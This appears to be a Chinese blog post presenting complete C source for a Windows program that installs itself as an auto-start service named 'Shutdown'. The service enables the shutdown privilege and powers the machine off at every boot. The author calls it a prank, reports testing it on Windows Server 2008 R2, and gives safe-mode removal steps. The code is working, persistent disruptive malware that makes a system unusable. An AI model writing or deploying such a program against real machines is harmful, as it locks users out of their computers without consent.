Windows服务编程Demo
实现一个开机自动启动的关机程序,具体代码如下:
1 #include <Windows.h> 2 3 void ServiceMain(); 4 void ControlHandler(DWORD request); 5 void RunService(); 6 void Shutdown(); 7 BOOL IsInstall(); 8 BOOL Install(); 9 10 SERVICE_STATUS_HANDLE hServiceStatus; 11 SERVICE_STATUS status; 12 13 int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ) 14 { 15 SERVICE_TABLE_ENTRY st[] = 16 { 17 {TEXT("Shutdown"), (LPSERVICE_MAIN_FUNCTION)ServiceMain}, 18 {NULL, NULL} 19 }; 20 21 if (!IsInstall()) 22 { 23 Install(); 24 } 25 26 StartServiceCtrlDispatcher(st); 27 28 RunService(); 29 30 return 0; 31 } 32 33 void RunService() 34 { 35 SC_HANDLE schSCManager; 36 SC_HANDLE schService; 37 38 schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 39 if (!schSCManager) 40 { 41 MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR); 42 return; 43 } 44 45 schService = OpenService(schSCManager, TEXT("Shutdown"), SERVICE_ALL_ACCESS); 46 if (!schService) 47 { 48 MessageBox(NULL, TEXT("OpenService error"), TEXT("error"), MB_OK | MB_ICONERROR); 49 } 50 51 BOOL b = StartService(schService, 0, NULL); 52 } 53 54 void ControlHandler(DWORD request) 55 { 56 switch (request) 57 { 58 case SERVICE_CONTROL_STOP: 59 case SERVICE_CONTROL_SHUTDOWN: 60 status.dwWin32ExitCode = 0; 61 status.dwCurrentState = SERVICE_STOPPED; 62 break; 63 default: 64 break; 65 } 66 SetServiceStatus(hServiceStatus, &status); 67 } 68 69 void ServiceMain() 70 { 71 status.dwServiceType = SERVICE_WIN32; 72 status.dwCurrentState = SERVICE_START_PENDING; 73 status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; 74 status.dwWin32ExitCode = 0; 75 status.dwServiceSpecificExitCode = 0; 76 status.dwCheckPoint = 0; 77 status.dwWaitHint = 0; 78 79 hServiceStatus = RegisterServiceCtrlHandler(TEXT("Shutdown"), (LPHANDLER_FUNCTION)ControlHandler); 80 if ((SERVICE_STATUS_HANDLE)0 == hServiceStatus) 81 { 82 return; 83 } 84 85 status.dwCurrentState = SERVICE_RUNNING; 86 SetServiceStatus(hServiceStatus, &status); 87 Shutdown(); 88 } 89 90 void Shutdown() 91 { 92 OSVERSIONINFO os; 93 os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 94 GetVersionEx(&os); 95 if (VER_PLATFORM_WIN32_NT == os.dwPlatformId) 96 { 97 HANDLE handle; 98 TOKEN_PRIVILEGES tkp; 99 100 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &handle); 101 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); 102 103 tkp.PrivilegeCount = 1; 104 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 105 106 AdjustTokenPrivileges(handle, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); 107 108 if (GetLastError() != ERROR_SUCCESS) 109 { 110 MessageBox(NULL, TEXT("AdjustTokenPrivileges error"), TEXT("error"), MB_OK | MB_ICONERROR); 111 } 112 } 113 114 ExitWindowsEx(EWX_SHUTDOWN, 0); 115 } 116 117 BOOL IsInstall() 118 { 119 BOOL bResult = FALSE; 120 121 SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 122 if (schSCManager) 123 { 124 SC_HANDLE schService = OpenService(schSCManager, TEXT("Shutdown"), SERVICE_ALL_ACCESS); 125 if (schService) 126 { 127 bResult = TRUE; 128 CloseServiceHandle(schService); 129 } 130 CloseServiceHandle(schSCManager); 131 } 132 else 133 { 134 MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR); 135 } 136 137 return bResult; 138 } 139 140 BOOL Install() 141 { 142 SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 143 if (!schSCManager) 144 { 145 MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR); 146 return FALSE; 147 } 148 149 TCHAR szFilePath[MAX_PATH]; 150 GetModuleFileName(NULL, szFilePath, MAX_PATH); 151 152 SC_HANDLE schService = CreateService(schSCManager, TEXT("Shutdown"), TEXT("Shutdown"), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, TEXT(""), NULL, NULL); 153 if (!schService) 154 { 155 CloseServiceHandle(schSCManager); 156 MessageBox(NULL, TEXT("CreateService error"), TEXT("error"), MB_OK | MB_ICONERROR); 157 return FALSE; 158 } 159 160 CloseServiceHandle(schService); 161 CloseServiceHandle(schSCManager); 162 163 return TRUE; 164 }
本程序是开机自动关机的恶搞程序,本人亲自在物理机上测试,在windows server 2008 r2 enterprise版本的系统下测试通过。要解除本恶搞程序对你造成的不便,可以在开机时按F8进入安全模式下删除名字为Shutdown的服务即可。 输入命令: sc delete Shutdown